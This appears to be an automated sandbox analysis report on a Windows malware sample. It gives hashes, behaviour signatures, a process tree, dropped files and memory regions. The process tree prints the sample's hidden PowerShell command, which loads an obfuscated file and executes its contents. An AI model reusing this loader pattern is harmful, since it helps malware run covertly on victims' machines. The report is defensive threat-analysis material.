Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 02:36

General

  • Target
    f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
  • Size 389KB
  • Sample240710-c3j2astdph
  • SHA256 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
    "C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1204
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 2268
        3⤵
        • Program crash
        PID:1976
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1204 -ip 1204
    1⤵
      PID:2260

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_uqpcfseo.a5g.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqpcfseo.a5g.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Sperlingkasserne.Gla

          • Path C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla
          • Size 64KB
          • SHA256 92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6
          • MD5 SHA1 SHA512 SSDEEP

          memory/1204-15-0x00000000053F0000-0x0000000005456000-memory.dmp

          memory/1204-28-0x0000000006150000-0x000000000619C000-memory.dmp

          memory/1204-13-0x00000000738F0000-0x00000000740A0000-memory.dmp

          memory/1204-14-0x0000000005350000-0x0000000005372000-memory.dmp

          memory/1204-11-0x0000000004CF0000-0x0000000005318000-memory.dmp

          memory/1204-17-0x00000000054D0000-0x0000000005536000-memory.dmp

          memory/1204-9-0x00000000738FE000-0x00000000738FF000-memory.dmp

          memory/1204-26-0x0000000005580000-0x00000000058D4000-memory.dmp

          memory/1204-27-0x0000000005B40000-0x0000000005B5E000-memory.dmp

          memory/1204-12-0x00000000738F0000-0x00000000740A0000-memory.dmp

          memory/1204-29-0x0000000006B50000-0x0000000006BE6000-memory.dmp

          memory/1204-30-0x0000000006010000-0x000000000602A000-memory.dmp

          memory/1204-31-0x0000000006060000-0x0000000006082000-memory.dmp

          memory/1204-32-0x00000000071A0000-0x0000000007744000-memory.dmp

          memory/1204-10-0x00000000024F0000-0x0000000002526000-memory.dmp

          memory/1204-34-0x0000000007DD0000-0x000000000844A000-memory.dmp

          memory/1204-36-0x00000000738F0000-0x00000000740A0000-memory.dmp